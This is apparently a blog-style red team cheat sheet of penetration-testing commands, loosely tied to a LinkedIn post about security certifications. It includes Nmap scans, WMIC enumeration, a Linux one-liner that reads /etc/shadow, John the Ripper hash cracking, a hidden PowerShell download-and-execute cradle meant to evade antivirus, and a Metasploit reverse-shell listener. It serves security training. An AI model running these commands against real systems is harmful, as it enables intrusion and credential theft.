The Ultimate Red Team Arsenal: 25+ Verified Commands to Dominate Your Next Pen Test

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Introduction:

The modern red team operator requires a deep and versatile toolkit to emulate advanced adversaries and test organizational defenses effectively. This arsenal, comprised of commands across Windows, Linux, and specialized security tools, is critical for achieving objectives from initial access to lateral movement and data exfiltration. Mastering these commands separates novice testers from elite operators capable of navigating complex, enterprise environments.

Learning Objectives:

  • Execute fundamental reconnaissance and enumeration commands on both Windows and Linux systems.
  • Leverage PowerShell and living-off-the-land binaries (LOLBins) for stealthy execution and lateral movement.
  • Utilize common penetration testing tools like Nmap, John the Ripper, and Metasploit to identify and exploit vulnerabilities.

You Should Know:

1. Network Reconnaissance with Nmap

Nmap is the industry standard for network discovery and security auditing. Its versatility allows for everything from simple host discovery to detailed service enumeration.

nmap -sC -sV -O -p- 192.168.1.0/24

Step‑by‑step guide:

  1. -sC: Runs default scripts for common vulnerability checks and service discovery.
  2. -sV: Probes open ports to determine service/version information.
  3. -O: Enables OS detection based on network stack fingerprints.
  4. -p-: Scans all 65,535 TCP ports instead of the default top 1,000.
    This command provides a comprehensive overview of the target network, identifying live hosts, open ports, running services, and operating systems.

2. Windows System Enumeration with WMIC

Windows Management Instrumentation Command-line (WMIC) is a powerful LOLBin for gathering detailed system information, which is crucial for understanding the target environment.

wmic computersystem list full /format:list
wmic process get caption,executablepath,processid
wmic service get name,pathname,startmode,state

Step‑by‑step guide:

  1. The first command retrieves comprehensive details about the computer system (e.g., manufacturer, model, domain).
  2. The second lists all running processes with their paths and PIDs, useful for identifying security software.
  3. The third command enumerates all installed services and their execution paths, highlighting potential insecure service permissions.

3. Linux Privilege Escalation Enumeration

A critical phase in any assessment is checking for local privilege escalation vectors. This script aggregates common checks.

uname -a; cat /etc/passwd; cat /etc/shadow 2>/dev/null; sudo -l; find / -perm -4000 -type f 2>/dev/null; crontab -l; ls -la /etc/cron; env

Step‑by‑step guide:

  1. uname -a: Shows kernel version for potential kernel exploit matching.
  2. sudo -l: Lists commands the current user can run with sudo privileges.
  3. find / -perm -4000 -type f 2>/dev/null: Finds all SUID binaries, which can be a common privesc vector.
    4. `crontab -l` & ls -la /etc/cron: Examines scheduled jobs for insecure file permissions.

4. Password Cracking with John the Ripper

After retrieving password hashes, cracking them is essential for expanding access. John the Ripper is a fast and flexible offline password cracker.

john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt --format=NT

Step‑by‑step guide:

  1. --wordlist=/usr/share/wordlists/rockyou.txt: Specifies the path to a common wordlist.
  2. hashes.txt: The file containing the hashes you’ve dumped (e.g., from /etc/shadow or a Windows SAM database).
  3. --format=NT: Explicitly defines the hash format (in this case, NT/NTLM hashes from Windows) for faster cracking.

5. PowerShell for In-Memory Execution

PowerShell is invaluable for downloading and executing payloads without touching the disk, evading basic antivirus solutions.

powershell.exe -nop -w hidden -c "IEX((new-object net.webclient).downloadstring('http://10.10.10.10:8000/payload.ps1'))"

Step‑by‑step guide:

  1. -nop: No Profile; prevents loading the PowerShell profile for speed.

2. `-w hidden`: Hides the PowerShell window.

  1. -c "IEX(...)": Executes the specified command, which downloads a script from a remote server and executes it directly in memory (IEX = Invoke-Expression).

6. Metasploit Multi-Handler for Payload Reception

The Metasploit Framework’s multi/handler is a staple for receiving reverse shell connections from exploited targets.

msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST 10.10.10.10; set LPORT 4444; run"

Step‑by‑step guide:

1. `msfconsole -q`: Starts Metasploit in quiet mode.

  1. -x "...": Executes the following commands upon startup.
  2. set PAYLOAD ...: Defines the payload type to match the one delivered to the target.
    4. `set LHOST` and set LPORT: Configure the listening IP address and port.
  3. run: Starts the listener to await the incoming connection.

7. API Security Testing with curl

Testing API endpoints for common vulnerabilities like Broken Object Level Authorization (BOLA) is a key modern red team skill.

curl -X GET http://api.target.com/v1/users/123 -H "Authorization: Bearer <token>"
curl -X GET http://api.target.com/v1/users/456 -H "Authorization: Bearer <token>"

Step‑by‑step guide:

  1. The first command accesses an object (e.g., user data) with a given ID (123) using a legitimate user’s authentication token.
  2. The second command changes the object ID (456) in the request. If this returns data the user should not have access to, it indicates a critical BOLA vulnerability, allowing horizontal privilege escalation.

What Undercode Say:

  • Mastery of fundamentals like WMIC and bash enumeration is more critical than ever for evading advanced EDR solutions that focus on detecting new tools.
  • The shift towards API-based applications demands that red teamers expand their skillset beyond traditional infrastructure attacks to include testing endpoints for authorization flaws.

The provided LinkedIn post, while light on technical detail, highlights the certification path of a seasoned professional. The certifications listed (e.g., CPTS, eWPTXv2, CRTE, eCPPTv2) are among the most respected in the industry, focusing on practical, hands-on skills. This signifies a professional who has proven ability in web application penetration testing, Windows domain exploitation, and advanced attack techniques. The tools and commands listed in this article form the foundational knowledge required to achieve such certifications and operate effectively at a high level. The emphasis is on practical, verifiable command execution across a range of critical systems.

Prediction:

The increasing complexity of hybrid cloud environments and the pervasive adoption of APIs will push red team methodologies to evolve rapidly. Future offensive security tools will heavily integrate AI to automate the discovery of complex, chained attack paths and generate sophisticated social engineering content. Furthermore, we will see a rise in “adversary emulation as a service,” where red teams continuously test defenses using real-time threat intelligence feeds tailored to specific industry threats, moving beyond periodic engagements to continuous security validation.

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